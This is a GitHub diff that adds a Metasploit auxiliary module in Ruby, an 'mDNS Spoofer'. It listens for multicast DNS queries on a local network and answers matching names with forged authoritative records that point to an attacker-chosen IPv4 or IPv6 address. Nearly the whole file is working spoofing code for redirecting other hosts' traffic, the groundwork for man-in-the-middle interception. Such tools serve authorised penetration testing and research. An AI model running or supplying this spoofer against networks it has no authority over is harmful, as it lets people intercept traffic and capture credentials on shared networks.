|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'socket' |
| 8 | +require 'ipaddr' |
| 9 | +require 'net/dns' |
| 10 | + |
| 11 | +class MetasploitModule < Msf::Auxiliary |
| 12 | + |
| 13 | +include Msf::Exploit::Capture |
| 14 | + |
| 15 | +attr_accessor :sock, :thread |
| 16 | + |
| 17 | + |
| 18 | + def initialize |
| 19 | + super( |
| 20 | + 'Name' => 'mDNS Spoofer', |
| 21 | + 'Description' => %q{ |
| 22 | + This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex). |
| 23 | + }, |
| 24 | + 'Author' => [ 'Joe Testa <jtesta[at]positronsecurity.com>', 'James Lee <egypt[at]metasploit.com>', 'Robin Francois <rof[at]navixia.com>' ], |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'References' => |
| 27 | + [ |
| 28 | + [ 'URL', 'https://tools.ietf.org/html/rfc6762' ] |
| 29 | + ], |
| 30 | + |
| 31 | + 'Actions' => |
| 32 | + [ |
| 33 | + [ 'Service' ] |
| 34 | + ], |
| 35 | + 'PassiveActions' => |
| 36 | + [ |
| 37 | + 'Service' |
| 38 | + ], |
| 39 | + 'DefaultAction' => 'Service' |
| 40 | + ) |
| 41 | + |
| 42 | + register_options([ |
| 43 | + OptAddress.new('SPOOFIP4', [ true, "IPv4 address with which to spoof A-record queries", ""]), |
| 44 | + OptAddress.new('SPOOFIP6', [ false, "IPv6 address with which to spoof AAAA-record queries", ""]), |
| 45 | + OptRegexp.new('REGEX', [ true, "Regex applied to the mDNS to determine if spoofed reply is sent", '.*']), |
| 46 | + OptInt.new('TTL', [ false, "Time To Live for the spoofed response (in seconds)", 120]), |
| 47 | + ]) |
| 48 | + |
| 49 | + deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') |
| 50 | + self.thread = nil |
| 51 | + self.sock = nil |
| 52 | + end |
| 53 | + |
| 54 | + def dispatch_request(packet, rhost, src_port) |
| 55 | + rhost = ::IPAddr.new(rhost) |
| 56 | + |
| 57 | + # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped |
| 58 | + # addr like "::ffff:192.168.0.1" when the interface we're listening |
| 59 | + # on has an IPv6 address. Convert it to just the v4 addr |
| 60 | + if rhost.ipv4_mapped? |
| 61 | + rhost = rhost.native |
| 62 | + end |
| 63 | + |
| 64 | + # Parse the incoming MDNS packet. Quit if an exception was thrown. |
| 65 | + dns_pkt = nil |
| 66 | + begin |
| 67 | + dns_pkt = ::Net::DNS::Packet.parse(packet) |
| 68 | + rescue |
| 69 | + return |
| 70 | + end |
| 71 | + |
| 72 | + spoof4 = ::IPAddr.new(datastore['SPOOFIP4']) |
| 73 | + spoof6 = ::IPAddr.new(datastore['SPOOFIP6']) rescue '' |
| 74 | + |
| 75 | + # Turn this packet into an authoritative response. |
| 76 | + dns_pkt.header.qr = 1 |
| 77 | + dns_pkt.header.aa = 1 |
| 78 | + |
| 79 | + qm = true |
| 80 | + dns_pkt.question.each do |question| |
| 81 | + name = question.qName |
| 82 | + if datastore['REGEX'] != '.*' |
| 83 | + unless name =~ /#{datastore['REGEX']}/i |
| 84 | + vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"") |
| 85 | + next |
| 86 | + end |
| 87 | + end |
| 88 | + |
| 89 | + # Check if the query is the "QU" type, which implies that we need to send a unicast response, instead of a multicast response. |
| 90 | + if question.qClass.to_i == 32769 # = 0x8001 = Class: IN, with QU type |
| 91 | + qm = false |
| 92 | + end |
| 93 | + |
| 94 | + # qType is not a Integer, so to compare it with `case` we have to |
| 95 | + # convert it |
| 96 | + responding_with = nil |
| 97 | + case question.qType.to_i |
| 98 | + when ::Net::DNS::A |
| 99 | + dns_pkt.answer << ::Net::DNS::RR::A.new( |
| 100 | + :name => name, |
| 101 | + :ttl => datastore['TTL'], |
| 102 | + :cls => 0x8001, # Class IN, with flush cache flag |
| 103 | + :type => ::Net::DNS::A, |
| 104 | + :address => spoof4.to_s |
| 105 | + ) |
| 106 | + responding_with = spoof4.to_s |
| 107 | + when ::Net::DNS::AAAA |
| 108 | + if spoof6 != '' |
| 109 | + dns_pkt.answer << ::Net::DNS::RR::AAAA.new( |
| 110 | + :name => name, |
| 111 | + :ttl => datastore['TTL'], |
| 112 | + :cls => 0x8001, # Class IN, with flush cache flag |
| 113 | + :type => ::Net::DNS::AAAA, |
| 114 | + :address => spoof6.to_s |
| 115 | + ) |
| 116 | + responding_with = spoof6.to_s |
| 117 | + end |
| 118 | + else |
| 119 | + # Skip PTR, SRV, etc. records. |
| 120 | + next |
| 121 | + end |
| 122 | + |
| 123 | + # If we are responding to this query, and we haven't spammed stdout recently, print a notification. |
| 124 | + if not responding_with.nil? and should_print_reply?(name) |
| 125 | + print_good("#{rhost.to_s.ljust 16} mDNS - #{name} matches regex, responding with #{responding_with}") |
| 126 | + end |
| 127 | + end |
| 128 | + |
| 129 | + # Clear the questions from the responses. They aren't observed in legit responses. |
| 130 | + dns_pkt.question.clear() |
| 131 | + |
| 132 | + # If we didn't find anything we want to spoof, don't send any |
| 133 | + # packets |
| 134 | + return if dns_pkt.answer.empty? |
| 135 | + |
| 136 | + begin |
| 137 | + udp = ::PacketFu::UDPHeader.new( |
| 138 | + :udp_src => 5353, |
| 139 | + :udp_dst => src_port, |
| 140 | + :body => dns_pkt.data |
| 141 | + ) |
| 142 | + rescue |
| 143 | + return |
| 144 | + end |
| 145 | + udp.udp_recalc |
| 146 | + |
| 147 | + # Set the destination to the requesting host. Otherwise, if this is a "QM" query, we will multicast the response. |
| 148 | + dst = rhost |
| 149 | + if rhost.ipv4? |
| 150 | + if qm |
| 151 | + dst = ::IPAddr.new('224.0.0.251') |
| 152 | + end |
| 153 | + ip_pkt = ::PacketFu::IPPacket.new( |
| 154 | + :ip_src => spoof4.hton, |
| 155 | + :ip_dst => dst.hton, |
| 156 | + :ip_proto => 0x11, # UDP |
| 157 | + :body => udp |
| 158 | + ) |
| 159 | + elsif rhost.ipv6? |
| 160 | + if qm |
| 161 | + dst = ::IPAddr.new('ff02::fb') |
| 162 | + end |
| 163 | + ip_pkt = ::PacketFu::IPv6Packet.new( |
| 164 | + :ipv6_src => spoof6.hton, |
| 165 | + :ipv6_dst => dst.hton, |
| 166 | + :ip_proto => 0x11, # UDP |
| 167 | + :body => udp |
| 168 | + ) |
| 169 | + else |
| 170 | + # Should never get here |
| 171 | + print_error("IP version is not 4 or 6. Failed to parse?") |
| 172 | + return |
| 173 | + end |
| 174 | + ip_pkt.recalc |
| 175 | + |
| 176 | + capture_sendto(ip_pkt, rhost.to_s, true) |
| 177 | + end |
| 178 | + |
| 179 | + def monitor_socket |
| 180 | + while true |
| 181 | + rds = [self.sock] |
| 182 | + wds = [] |
| 183 | + eds = [self.sock] |
| 184 | + |
| 185 | + r,_,_ = ::IO.select(rds,wds,eds,0.25) |
| 186 | + |
| 187 | + if (r != nil and r[0] == self.sock) |
| 188 | + packet, host, port = self.sock.recvfrom(65535) |
| 189 | + dispatch_request(packet, host, port) |
| 190 | + end |
| 191 | + end |
| 192 | + end |
| 193 | + |
| 194 | + |
| 195 | + # Don't spam with success, just throttle to every 10 seconds |
| 196 | + # per host |
| 197 | + def should_print_reply?(host) |
| 198 | + @notified_times ||= {} |
| 199 | + now = Time.now.utc |
| 200 | + @notified_times[host] ||= now |
| 201 | + last_notified = now - @notified_times[host] |
| 202 | + if last_notified == 0 or last_notified > 10 |
| 203 | + @notified_times[host] = now |
| 204 | + else |
| 205 | + false |
| 206 | + end |
| 207 | + end |
| 208 | + |
| 209 | + def run |
| 210 | + check_pcaprub_loaded() |
| 211 | + ::Socket.do_not_reverse_lookup = true # Mac OS X workaround |
| 212 | + |
| 213 | + # Avoid receiving extraneous traffic on our send socket |
| 214 | + open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) |
| 215 | + |
| 216 | + # Multicast Address for LLMNR |
| 217 | + multicast_addr = ::IPAddr.new("224.0.0.251") |
| 218 | + |
| 219 | + # The bind address here will determine which interface we receive |
| 220 | + # multicast packets from. If the address is INADDR_ANY, we get them |
| 221 | + # from all interfaces, so try to restrict if we can, but fall back |
| 222 | + # if we can't |
| 223 | + bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0" |
| 224 | + |
| 225 | + optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton |
| 226 | + self.sock = Rex::Socket.create_udp( |
| 227 | + # This must be INADDR_ANY to receive multicast packets |
| 228 | + 'LocalHost' => "0.0.0.0", |
| 229 | + 'LocalPort' => 5353, |
| 230 | + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } |
| 231 | + ) |
| 232 | + self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) |
| 233 | + self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval) |
| 234 | + |
| 235 | + self.thread = Rex::ThreadFactory.spawn("MDNSServerMonitor", false) { |
| 236 | + monitor_socket |
| 237 | + } |
| 238 | + |
| 239 | + print_status("mDNS spoofer started. Listening for mDNS requests with REGEX \"#{datastore['REGEX']}\" ...") |
| 240 | + |
| 241 | + add_socket(self.sock) |
| 242 | + |
| 243 | + self.thread.join |
| 244 | + end |
| 245 | + |
| 246 | + def cleanup |
| 247 | + if self.thread and self.thread.alive? |
| 248 | + self.thread.kill |
| 249 | + self.thread = nil |
| 250 | + end |
| 251 | + close_pcap |
| 252 | + end |
| 253 | +end |
0 commit comments